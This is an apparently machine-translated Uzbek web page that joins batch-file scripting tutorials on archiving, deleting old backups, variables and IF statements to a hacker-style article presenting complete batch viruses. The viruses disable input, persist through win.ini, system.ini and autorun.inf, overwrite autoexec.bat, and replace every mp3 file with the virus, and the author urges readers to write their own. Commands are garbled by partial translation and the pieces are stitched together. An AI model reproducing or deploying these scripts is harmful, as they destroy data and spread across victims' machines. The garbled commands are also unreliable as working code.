Internet Windows Android
Kengaytirish

Bat foydalidir. Bat fayllar, misollar

Ushbu maqolada biz bunday foydali narsani ko'rib chiqamiz " ommaviy ish fayli" Keling, avval bat fayli nima ekanligini aniqlaymiz. Ommaviy ish yoki ommaviy ish fayllari buyruqlar to'plamini o'z ichiga olgan oddiy matnli fayllardir ( ko'rsatmalar) tarjimon va kengaytmali bat yoki cmd ( cmd faqat NT oilasi operatsion tizimlarida ishlaydi). Bunday fayllarni oddiy bloknot yoki boshqa matn muharriri yordamida yaratishingiz va tahrirlashingiz mumkin.

Endi siz so'rashingiz mumkin, nima uchun bunday bat fayllarni yozishingiz kerak? Va nima uchun ular kerak? Men tushuntirishga harakat qilaman.

Birinchidan, ular ishni osonlashtirish uchun ishlatiladi, ya'ni. masalan, har kuni doimiy ravishda ba'zi operatsiyalarni bajarishingiz kerak ( masalan, muayyan hujjatlar arxivini yaratish), tana fayli yordamida buni avtomatlashtirish mumkin va siz endi unda qatnashmaysiz.

Ikkinchidan, bu ommaviy ish fayllari juda kuchli ( agar, albatta, ularni qanday yozishni bilsangiz), ya'ni. Siz hatto yaxshi dastur yozishingiz mumkin ( Men funksionallik nuqtai nazaridan aytmoqchiman). Shaxsan ular menga ishimda juda ko'p yordam berishadi va men buni qo'lda qilganimda ba'zi narsalarni unutib qo'ydim.

Endi to'g'ridan-to'g'ri ushbu ommaviy ish fayllari asoslariga o'tamiz. Ular qanday yaratilgan?Siz oddiy matnli hujjat yaratishingiz, uni ochishingiz va darhol “ yorlig'iga o'tishingiz kerak Fayl->Saqlash", kengaytma o'rniga kiriting " Matnli hujjat.txt", Masalan " Matnli hujjat.bat" va saqlang, shuning uchun biz .bat kengaytmali ommaviy ish faylini olamiz, lekin u hali hech narsa qilmaydi.

Boshlash uchun men hujjatlarni arxivlash uchun ishimda foydalanadigan ommaviy ish fayliga misol keltiraman.

"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc "C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt

Endi men sizga bu ommaviy ish fayli nima qilishi haqida bir oz aytib beraman. WinRar ishga tushadi, keyin Winrar buyruqlari bajariladi:

  • a - arxivga qo'shish;
  • -r - pastki papkalarni qayta ishlash;
  • -dh - umumiy fayllarni ochish;
  • -ed - bo'sh papkalarni qo'shmang;
  • YYYY-mm-dd - arxiv nomiga joriy sanani qo'shing ( sana formati);
  • E:\arhaccounts\ - yakuniy arxiv joylashgan yo'l;
  • d:\accounts\*.doc — arxivlanishi kerak boʻlgan fayllar yoʻli va niqobi.

Bunday holda, biz barcha Word, Excel va matn fayllarini arxivlaymiz, qolganlarini arxivlashimiz shart emas. Bizning arxivlashimiz boshqa diskka o'tadi va biz olingan arxivni boshqa kompyuterga nusxalashimiz uchun arxiv boshqa ofisda saqlanadi. Nusxalash tarmoq orqali amalga oshiriladi, shuning uchun arxiv nusxalanadigan kompyuter yoqilgan bo'lishi kerak. Buning uchun quyidagi buyruqdan foydalanishingiz mumkin:

E:\arhaccounts\*.rar \\namecomp\arhiv\ nusxasini oling.

Bat fayllari uchun buyruqlarga misollar

Endi siz foydalanishingiz mumkin bo'lgan asosiy buyruqlarni ko'rib chiqamiz.

Agar faylni o'chirish kerak bo'lsa, quyidagilarni yozing:

Del d:\file\test.doc

Butun katalogni o'chirish uchun quyidagilarni yozing:

Rd d:\fayl\

Agar siz har safar biron bir katalogdan hamma narsani o'chirib tashlashingiz kerak bo'lsa, undan foydalaning:

Echo Y| del d:\fayl\

  • del d:\file\ - bu aniq barcha fayllarni o'chirish;
  • echo Y| — buyruq o'chirishni tasdiqlaydi, chunki Agar siz ushbu buyruqni kiritmasangiz, o'chirishni tasdiqlovchi xabarni ko'rasiz - "Davom etish" va har safar bu savolga javob berishingiz kerak bo'ladi.

Endi shart allaqachon bajarilgan murakkabroq misolni ko'rib chiqaylik:

@echo off "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\test.rar d:\test IF not EXIST d:\test\123.rar GOTO 1 IF EXIST d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar end

Endi tushuntiraman, deylik, test.rar arxivini ochish kerak, unda ko'plab fayllar bo'ladi, lekin u erda 123.rar fayl bo'lsa, uni C diskining ildiziga ochish kerak bo'ladi va qolgan fayllar o'sha katalogda tegmasdan qoladi.

Buning uchun ekranda hech narsa aks etmasligi uchun @echo off buyrug'i kerak ( asosan, agar kerak bo'lmasa, ushbu qatorni yozishni qoldirishingiz mumkin). Keyin biz Winrar-ni ishga tushiramiz va test.rar arxivini test papkasiga ochamiz. Keyin, agar test papkasida bo'lsa, shart keladi ( o'ramni ochgandan so'ng test.rar) bizda 123.rar fayli yo'q, keyin biz shunchaki ommaviy ish faylini bajaramiz va qatorga o'tamiz: 1 va keyin shunchaki test.rar faylini o'chiring, chunki bu kerak emas. Biz allaqachon kerak bo'lgan hamma narsani ochdik. Ammo agar u yerda 123.rar fayli bo'lsa, u holda ommaviy ish faylining bajarilishi 2 qatorga o'tadi, shundan so'ng 123.rar fayli C diskining ildiziga ochilgan. Boshqacha qilib aytganda, bizda shart bajarilgan. , agar fayl bo'lsa, buni bajaring, agar fayl bo'lmasa, buni bajaring. Aytaylik, agar biz ushbu misolda shartni ko'rsatmasak, bu papkada 123.rar fayli mavjud bo'lmaganda, bizning ommaviy ish faylimiz xato beradi.

Endi misolni ko'rib chiqamiz: deylik, D diskida joylashgan katalogdan fayllarni har safar flesh-diskga ko'chirish kerak. Har safar kompyuterimning D diskiga o'tishingiz kerak bo'ladi, kerakli papkani tanlang, undagi barcha fayllarni tanlang va uni kesib oling, so'ngra flesh-diskga o'ting va uni joylashtiring. Tana fayli yordamida bu bir marta bosish bilan amalga oshiriladi ( bitta shart bilan har safar flesh-disk, masalan, G drayveri yoki sizda bo'lgan narsa bo'ladi). Mana shunday ommaviy ish fayliga misol:

"D:\catalog\*.doc" G:\catalognaflehe\ ko'chiring

Va D:\catalog katalogida joylashgan doc kengaytmali barcha fayllar flesh-diskga ko'chiriladi. Endi aytmoqchimanki, siz ommaviy ish fayllarida skriptlardan foydalanishingiz mumkin ( skriptlar) Windows Scripting Host-dan foydalanish va agar kerak bo'lsa, masalan, fayllar nusxalangandan so'ng xabarni ko'rsatish uchun ( oldingi misol) buni qo'ying:

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup("Fayllar nusxalangan"); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js

Aslida, siz ommaviy ish fayllarini yozish haqida ko'p gapirishingiz mumkin va, albatta, buni bitta maqolaga sig'dirib bo'lmaydi, bu erda men faqat bat fayllarni yozishda ishlatiladigan tamoyillarni, ta'bir joiz bo'lsa, asosni ko'rsatdim. Agar siz ommaviy ish fayllarini yozish uchun qo'shimcha buyruqlarni bilmoqchi bo'lsangiz, ularni terish orqali osongina ko'rishingiz mumkin ( Boshlash - ishga tushirish - cmd) yordam buyrug'i, lekin, albatta, ommaviy ish fayllarida ishlatilishi mumkin bo'lgan barcha buyruqlar mavjud emas. BAT fayllarini yozishda omad tilaymiz ( tana ko'ylagi).

Tajriba ko'rsatganidek, ommaviy ish fayllari, ya'ni. ommaviy ish fayllari ularni avtomatlashtirish maqsadlarida ishlatadigan tizim ma'murlari orasida juda mashhur. Va bugun biz xuddi shu ko'rshapalak fayllarini o'rganishni davom ettiramiz; biz asoslarni ko'rib chiqmaymiz, lekin yanada rivojlangan narsalarga o'tamiz.

Birinchi maqolada bat fayllarni yozish - ommaviy ish fayllariga misollar, biz ommaviy ish fayllaridan foydalanishning oddiy misollarini ko'rib chiqdik, ammo ma'lum bo'lishicha, ommaviy ish fayllarini yozish deyarli hamma uchun juda qiziq va hamma murakkabroq narsani o'rganishni xohlaydi, buning yordamida siz ayrim jarayonlarni avtomatlashtirishni yanada soddalashtirishi mumkin.

1-misol - eski arxivlarni o'chirish

Biror narsani arxivlashda ko'pchilikni savol qiziqtiradi " Ommaviy ish fayli yordamida eski arxivlarni keraksiz deb qanday o'chirish mumkin? " Misol uchun, ularning barchasi bitta papkada va siz 14 kundan ortiq bo'lgan barcha arxivlarni o'chirishingiz kerak. Qo'llanmalarni o'qib chiqqanimdan va Internetni kezganimdan so'ng, men quyidagi usulni taklif qilishim mumkin.

Siz buni shunday qilishingiz mumkinki, faqat ma'lum miqdordagi arxivlar arxivlari bo'lgan papkada, mos ravishda eng so'nggilari ( bular. faqat bizning holatlarimizda oxirgi 2 hafta ichida).

Bu ikkita buyruq yordamida amalga oshiriladi. Birinchisi DIR, ya'ni. biz faqat bitta papkadagi barcha fayllarni o'qiymiz va ularning nomlarini matn fayliga yozamiz.

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

  • dir D:\arhiv\*.rar- bu D:\arhiv\ jildidagi barcha rar arxivlarini o'qiganimizni anglatadi;
  • /a:-D- bu ko'rsatilgan atributlarga ega bo'lgan barcha fayllar ko'rsatiladi, degan ma'noni anglatadi, -D tugmasi bizga kataloglar emas, balki faqat fayllar kerakligini anglatadi, "-" prefiksi faqat inkorni anglatadi, ya'ni. kataloglar emas, agar biz faqat D deb yozgan bo'lsak, u kataloglarni ham o'qiydi;
  • /b– bu faqat fayl nomlarining chiqishi;
  • /o:-D– bu saralash, –D tugmasi saralash sana bo‘yicha amalga oshirilishini bildiradi, lekin avval eskilari, buni tuzatish uchun “-” prefiksi bizga yordam berishini allaqachon bilamiz;
  • > — chiqish list_of_files.txt fayliga yoʻnaltirilishini bildiradi, siz uni boshqacha nomlashingiz mumkin.

Shunday qilib, biz barcha arxivlarimizni hisoblab chiqdik va ularni faylga yozdik, keyin biz ushbu fayllarning barchasini ko'rib chiqishimiz va faqat 14 qismni qoldirishimiz kerak, ya'ni. oxirgi 2 hafta ichida. Buni buyruq yordamida qilamiz UCHUN, bu bizning holatimizda bo'lgani kabi papkadagi har bir fayl yoki fayldagi har bir satr uchun ma'lum bir amalni bajaradigan bir turdagi tsikldir.

  • uchun– jamoaning o'zi to'siq uchun;
  • /F "skip = 13"- bu birinchi 13 faylni qayta ishlashga hojat yo'qligini bildiruvchi parametrga ega kalit, ya'ni. biz ularni o'tkazib yuboramiz. Nega 13 emas, 14 ha, chunki 14 arxiv ( bular. Ushbu ommaviy ish faylini bajarishda yaratilishi kerak bo'lgan bugungi kun) hali yaratilmagan, shuning uchun 13;
  • %%i– joriy fayl nomini saqlaydigan o‘zgaruvchi;
  • (list_of_files.txt) ichida– ushbu fayldagi barcha satrlarni takrorlashni anglatadi;
  • qilish (del /Q "%%i")- har biri bilan nima qilish kerakligini aytadi, bizning holatlarimizda biz del /Q tugmachasi /Q yordamida ushbu fayllarni o'chirib tashlaymiz, shunda o'chirishdan oldin bizdan tasdiqlash so'ralmaydi. Sinovlar uchun del /Q ni echo bilan almashtirishni maslahat beraman, ya'ni. faqat ushbu fayllarni ko'rsatish.

Umuman olganda, biz ushbu ommaviy ish faylini oldik:

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

uchun /F “skip=13” %%i in (list_of_files.txt) qilish (del /Q “%%i”)

Shunga ko'ra, ushbu qatorlardan keyin siz arxiv kodini o'zingiz yozishingiz mumkin va oxirida biz papkamizda faqat 14 ta arxiv saqlanadi, albatta, eng so'nggilari.

2-misol - o'zgaruvchilardan foydalanish

Hatto haqiqiy dasturlash tilida bo'lgani kabi, ommaviy ish fayllarida ham o'zgaruvchilardan foydalanishingiz mumkin. O'zgaruvchilardan foydalanishning eng oddiy misolini ko'rib chiqaylik, masalan, biz ommaviy faylni ishga tushirishda maydonga kiritgan raqamni 2 ga ko'paytirmoqchimiz.

@echo off

SET /a c=%a%*%b%

aks-sado %c%

Siz tushunganingizdek, o'zgaruvchilar SET buyrug'i yordamida o'rnatiladi. O'zgaruvchidan kelajakda foydalanish uchun biz o'zgaruvchining har ikki tomoniga foiz belgisini (%) qo'yamiz, shunda buyruq qatori bu o'zgaruvchi ekanligini tushunadi.

  • @echo off- bizning buyruqlarimiz ekranda ko'rsatilmasligi uchun;
  • SET a=2– biz shunchaki “a” o‘zgaruvchisini qiymatga o‘rnatamiz;
  • SET /p b=[ko'paytirish uchun ikkinchi raqamni kiriting]- biz "b" o'zgaruvchisini maydonga kiritadigan qiymatga o'rnatamiz, shunda partiya ishchisi o'zgaruvchining qiymatini o'zimiz kiritmoqchi ekanligimizni tushunadi, /p tugmachasi ishlatiladi;
  • SET /a c=%a%*%b%— ifodamiz natijasiga “c” o‘zgaruvchisini o‘rnatdik ( bizning misolimizda bu ko'paytirish);
  • aks-sado %c%— “c” o‘zgaruvchining qiymatini ekranga chiqarish;
  • pauza- biz shunchaki barcha natijalarni ko'rish uchun bat faylimiz bajarilishini to'xtatib qo'yamiz.

Aytgancha, ruscha harflar buyruq satrida an'anaviy tarzda ko'rsatilishi uchun bat faylini DOS-866 kodlashda saqlang.

Biz o'zgaruvchilarni saralab oldik, endi buni birinchi misolimizga qo'llaymiz, deylik, biz 14 ta arxivni emas, balki biz xohlagan raqamni qoldirmoqchimiz, buning uchun siz ommaviy ish faylini ishga tushirganingizda, biz raqamni kiritamiz. saqlanishi kerak bo'lgan arxivlar. Bu shunday ko'rinadi:

@echo off

dir D:\test\*.rar /a:-D/b/o:-D > list_of_files.txt

uchun /F “skip=%chislo%” %%i in (list_of_files.txt) qilish (del /Q “%%i”)

Xo'sh, shunga o'xshash narsa, albatta, amalda bu kerak bo'lmasligi mumkin, lekin hech bo'lmaganda biz o'zgaruvchilardan qanday foydalanishni o'rgandik.

O'zgaruvchilar haqida, shuningdek, tizim o'zgaruvchilari borligini aytmoqchiman:

%DATE%— joriy sanani ko'rsatadi.

%TIME%— joriy vaqtni ko'rsatadi.

Masalan, quyidagi kodni ishga tushiring:

aks-sado %DATE%

aks-sado %vaqt:~0,-3%

Men %TIME% oʻzgaruvchisini aynan shu tarzda yozdim, natija oʻqilishi mumkin boʻlgan shaklda koʻrsatilishi uchun siz uchun %TIME% va % TIME:~0.-3%, ikkinchi holatda oxirgisini yozib koʻring. 3 ta belgi olib tashlanadi.

Aslida, tizim o'zgaruvchilari ko'proq; ular boshqalarga qaraganda tez-tez talab qilinishi mumkin.

3-misol – IF shartli bajarish bayoni

Boshqa to'liq huquqli tillarda bo'lgani kabi, siz ommaviy ish fayllarida IF shartli bajarish operatoridan foydalanishingiz mumkin. Kichik bir misol keltiraylik, ommaviy ish fayli shunchaki fayl mavjudligi yoki yo'qligini tekshiradi:

@echo off

AGAR BO'LSA test.txt (

echo fayli mavjud

echo Bunday fayl yo'q

AGAR BO'LSA test.txt– aynan shu yerda fayl tekshiriladi.

Qavslar ichida, agar fayl mavjud bo'lsa, nima qilishni xohlaymiz, agar fayl mavjud bo'lmasa, ELSE dan keyin, agar fayl mavjud bo'lmasa, nima qilish kerakligi keladi.

Endi biz kiritgan raqamni 2 ga ko'paytirish orqali misolimizni biroz o'zgartiramiz, shunchaki, agar biz to'satdan nolga kirsak, biz tegishli xabarni ko'rsatamiz va raqamni yana kiritishingizni so'raymiz.

@echo off

SET /p b=[ko'paytirish uchun ikkinchi raqamni kiriting]

SET /a c=%a%*%b%

agar %c%==0 (siz 0 raqamini kiritgansiz, boshqasini kiriting) aks holda %c% aks sado

agar %c%==0 (goto:metka)

Bu erda hamma narsa allaqachon tanish, yagona narsa shundaki, "c" o'zgaruvchisini solishtirganda taqqoslash operatori == ( ikkita teng), chunki oddiy teng (=) belgilash operatoridir. Agar e'tibor bergan bo'lsangiz, men bu erda goto operatoridan foydalanganman, ya'ni. kerakli belgiga o'ting. Boshqacha qilib aytganda, biz yorliq qo'yamiz va holatni tekshirish natijasiga qarab, kerakli yorliqga o'tish amalga oshiriladi.

Endi shuni ta'kidlashni istardimki, ko'pchilik o'z ishlarida winrar dasturidan foydalanadi, masalan, arxiv yaratish va, albatta, uni o'z ommaviy fayllarida ishlatishadi, lekin ko'pchilik winrar bilan bog'liq kalitlar haqida savollar berishadi. Winrar kalitlarini chalkashtirmang, ular faqat ushbu dastur uchun ishlatiladi va ommaviy ish fayllaridagi hamma narsa uchun emas, ya'ni. buyruq qatori, masalan, agar siz 7zip dan foydalansangiz, u holda kalitlar boshqacha bo'ladi. Winrar kalitlariga kelsak, mening fikrimcha, to'liq va eng yaxshi ma'lumotnoma, albatta, winrare-ning o'zida. Winrar kalitlarining tavsifini ko'rish uchun winrar dasturini oching, Yordam menyusiga o'ting va " Tarkib", va keyin qatorni tanlang " Buyruqlar qatori rejimi", bu erda barcha kalitlarning tavsifi bo'ladi, hatto oddiy misollar ham berilgan. Shunga ko'ra, agar sizda winrarning inglizcha versiyasi bo'lsa, unda ma'no bir xil, faqat hamma narsa ingliz tilida bo'ladi.

Bu ommaviy ish fayllarini o'rganishning ikkinchi qismini yakunlaydi. Omad!

Yana salom, yosh koder-shkoder. Agar siz mening "DOS-ni o'rganish" deb nomlangan so'nggi maqolamni o'qisangiz, bu erda siz uchun murakkab narsa bo'lmaydi. Va agar siz uni o'qimagan bo'lsangiz, sharhlarni diqqat bilan ko'rib chiqing. Shunday ekan, boshlaylik. Bir kuni men o'tirdim va o'yladim: virus yuqtirmasligim kerakmi? Va men QBarsikdan boshqa hech narsani bilmaganim uchun va DOS mening ikkinchisi edi ... [Birodar], nima deb o'yladingiz, buzuq? :)~. KEYIN men unga virus yozishga qaror qildim va bu unchalik qiyin emas ekan.

Mana mening birinchi virusimning tanasi

@echo off
rundll32 klaviaturasi, o'chiring
rundll32 sichqonchasi, o'chiring
%0 %windir%/tizimni nusxalash
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
LOHOLAMMER belgisi

deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo SIZ LAMMERSIZ...xe-xe-xe > c:\autoexec.bat
rundll32 sichqonchani yoqing
rundll32 klaviaturasi, yoqing
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Ogohlantirish,.. Sizning kompyuteringiz virus bilan kasallangan va siz undan qutulolmaysiz, hehehehe"); >> %temp%\mes.js
%temp%\mes.js boshlang
deltree /y %temp%\mes.js

pauza
cls

Men buni ommabop va bosqichma-bosqich tushuntiraman:

1 @echo off - Biz DOS oynasiga skript nima qilayotganini ko'rsatishni taqiqlaymiz.
2 rundll32 klaviaturasi, o'chirish - Agar foydalanuvchi nima bo'layotganini tushunsa va CTRL + C tugmalarini bosishga qaror qilsa, klaviaturani o'chiring.
3 rundll32 sichqonchani, o'chirib qo'ying - har qanday holatda sichqonchani ham o'chiring.
4 nusxa %0 %windir%/system - Windows/tizim papkasiga nusxalash
// %0 - Asl virus fayliga ishora qiluvchi o'zgaruvchi
// %windir% - o'zgaruvchan Masday papkasi.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - win.ini fayliga "run=%windir%/system/*.bat" matnini qo'shadi
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - system.ini fayliga "run=%windir%/system/*.bat" matnini qo'shadi
7 yorlig'i LOHOLAMMER - c:\ diskining nomini "LOHOLAMMER" ga o'zgartiradi
8 agar mavjud bo'lsa c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - c:\autoexec.bat fayli mavjudligini tekshiring, keyin uni olib tashlang
//u -h -s -a -r atributlariga ega
9 deltree /y c:\autoexec.bat - c:\autoexec.bat faylini o'chiring, agar atributlarni olib tashlamasangiz, dastur faylni o'chirmaydi.
10 echo autoexec.bat echo SIZ LAMMERSIZ...xe-xe-xe > c:\autoexec.bat - “YOU LAMMER...xe-xe-xe” matnini qo‘shing
//yangi faylga autoexec.bat
11 rundll32 mouse,enable - Uni yoqing, hech narsa bo'lmagan deb o'ylasin.
12 rundll32 klaviaturasi, yoqish - Uni yoqing, hech narsa bo'lmagan deb o'ylasin.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Ogohlantirish,.. Sizning kompyuteringiz virus bilan kasallangan va siz undan qutulolmaysiz, hehehehe"); >> %temp%\mes.js
%temp%\mes.js boshlang. //Ushbu matnda yozuv bilan niqob oynasi ko‘rsatiladi
deltree /y %temp%\mes.js //Va keyin o'z izlarini o'chiradi.
14 attrib c:\autoexec.bat +h +s +a +r - Lamer hech narsadan shubhalanmasligi uchun c:\autoexec.bat faylini yashirin va tizim fayliga aylantiradi.
15 pauza - Iltimos, istalgan tugmani bosing (bosish shart emas, chunki vir allaqachon o'z ishini bajargan.)
16 sinf - Keling, chiqaylik

Ushbu dastur, keyingi safar qayta ishga tushirilganda, Windows-ni ishga tushirishga ruxsat bermaydi va "Siz lamersiz" deb yozadi. .Faqat Windows 2000 gacha ishlaydi.

@echo off
rundll32 user,setcursorpos //Kursorni ekrandan chap burchakka olib tashlang
rundll32 klaviaturasi, o'chiring //Avvalgi
rundll32 sichqoncha, o'chirish // Oldindan
rundll32 foydalanuvchisi, sichqonchani almashtirish tugmasi. //Bu erda sichqoncha tugmachalarini qayta joylashtiramiz
echo Tizim parametrlari yangilanmoqda, kuting... //bahona yozadi :)
label mp_k //Disk nomini o'zgartiring
mp_k.exe faylini nusxalash %windir% //O'zini windows papkasiga ko'chiradi
agar mavjud bo'lsa c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
agar mavjud bo'lsa c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo > c:\autorun.inf //Bu operatsiyalar avvalgi virusda.
echo open=c:\autoexec.bat > c:\autorun.inf
echo > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 sichqonchani yoqing
rundll32 klaviaturasi, yoqing
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Ogohlantirish,.. Endi siz qayta ishga tushirishingiz kerak"); >> %temp%\mes.js
%temp%\mes.js boshlang
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp // Temp papkasini o'chirish
mkdir %windir%\temp // Temp papkasini yarating
cls

Va endi, yangi narsa.

@echo off
cls
echo Iltimos, kuting, tizim yangilanmoqda...
ctty nul. //Bu yangi buyruq, u oynada matn chiqarishni o'chirib qo'yadi.
exist %WINDIR%\SYSTEM\VMM32\%0 goto:end //Agar vir allaqachon ishga tushirilgan bo'lsa, uni yana ishga tushirishga ruxsat bering.
nusxa ko'chirish %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Boshqa katalogga o'ting
%%a uchun (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) nusxa ko'chiring /y %0 %%a // Ushbu jilddagi barcha mp3 fayllarni matningiz bilan almashtiring
Mening musiqam CD

CD My_Music
//Ushbu jilddagi barcha mp3 fayllarni matn bilan almashtiring
CD MyMusic
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a //Bu jilddagi hamma narsani almashtiring O'zingizning matningiz bilan mp3 fayllar
CD musiqa
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a //Bu jilddagi hamma narsani almashtiring O'zingizning matningiz bilan mp3 fayllar
CD musiqa
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a //Bu jilddagi hamma narsani almashtiring O'zingizning matningiz bilan mp3 fayllar
CD Mouzon
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a //Bu jilddagi hamma narsani almashtiring O'zingizning matningiz bilan mp3 fayllar
CD MUZ
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a //Bu jilddagi hamma narsani almashtiring O'zingizning matningiz bilan mp3 fayllar
cd mp3
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a //Bu jilddagi hamma narsani almashtiring O'zingizning matningiz bilan mp3 fayllar
cd d:\
%%a uchun (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) nusxa ko'chiring /y %0 %%a
Mening musiqam CD
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Bu yerda ham xuddi shunday.
CD My_Music
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
CD MyMusic
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
CD musiqa
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
CD musiqa
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
CD Mouzon
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
CD MUZ
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
cd mp3
%%a uchun (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) nusxa ko'chiring /y %0 %%a
:end //Yorliq
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Kichiklashtirilgan rejimda ishga tushirish
ctty con //Oynada matnni ko'rsatish uchun ruxsatni yoqing
echo MP3 to'plamingiz bilan xayrlashing:)) Virus //Vidolashuv satrlari
cls // Chiqish.

ctty nul //Bu shunday bo'ldi
REM Chey† Ђ@uoњPSQRVW
?
tQ
"Q_№ u¦u=
ê №ê h'.ya?ђ l,ђ ///
nusxa %0 *.exe ///
copy %0 b.com>nul // Bu texnologiya boshqa virusdan olingan.
b.com. // Ushbu chizmalar hozirda ishlayotgan fayllarni ushlab, ularni yo'q qiladi.
del b.com. /// Bu exe-ga tuzilgan ACM matni
rem_^ZY >
echo open=c:\autoexec.bat >> c:\autorun.inf //Agar u mavjud bo'lsa, uni yuqtiring.
agar mavjud bo'lsa d:\io.sys //Disk mavjudligini tekshirish
echo >
echo open=c:\autoexec.bat >> d:\autorun.inf //Agar u mavjud bo'lsa, uni yuqtiring.
agar mavjud bo'lsa e:\io.sys //Disk mavjudligini tekshirish
echo >
echo open=c:\autoexec.bat >> e:\autorun.inf //Agar u mavjud bo'lsa, uni yuqtiring.
:end //CM boshlanishini belgilang.
cls // Chiqish

Qanday turdagi viruslar mavjud? Va virus mualliflari istalgan natijaga erishish uchun qo'llaridan kelganini qiladilar. Ushbu hujjatni o'qib chiqqandan so'ng, siz BAT virusini o'zingiz ishonch bilan yozishingiz mumkin, hatto menikidan ham yaxshiroq ;) Virus yozishda sizga omad tilayman va men chetga chiqib, pivo ichaman%-).

Maqolalar faqat viruslarning algoritmlarini va ularga qarshi kurashish usullarini o'rganish uchun yozilgan. Virus algoritmlari Internetda va Kasperskiy laboratoriyasi veb-saytida topilgan viruslarni dekompilyatsiya qilish orqali aniqlangan.

Bugungi kunda operatsion tizimlarda grafik interfeysdan foydalanish odatiy va mutlaqo tabiiy narsa bo'lib tuyuladi, lekin bu har doim ham shunday emas edi. Microsoft kompaniyasi tomonidan ishlab chiqilgan birinchi operatsion tizim MS DOS grafik interfeysga ega emas edi va matn buyruqlarini kiritish orqali boshqarilardi. O'shandan beri deyarli 40 yil o'tdi, ammo buyruq qatori skript tili hali ham mashhur bo'lib, nafaqat ishlab chiquvchilar orasida.

Buyruqlar qatori unchalik qulay emas, lekin uning yordami bilan siz GUI-dan mumkin bo'lmagan operatsiyalarni bajarishingiz mumkin. Boshqa tomondan, konsolni har safar ishga tushirish, unga buyruqlarni ketma-ket kiritish - bularning barchasi ishni sezilarli darajada sekinlashtiradi. Biroq, siz bat faylini yoki oddiygina ommaviy ish faylini - CMD buyruq tarjimoni tomonidan qayta ishlangan ko'rsatmalar ro'yxatini o'z ichiga olgan BAT kengaytmali matnli faylni yaratish orqali vazifani sezilarli darajada soddalashtirishingiz mumkin. Bunday fayllar turli vazifalarni avtomatlashtirish, masalan, jadval bo'yicha vaqtinchalik fayllarni o'chirish yoki dasturlarni ishga tushirish uchun ishlatiladi.

BAT kengaytmali faylni qanday yaratish mumkin

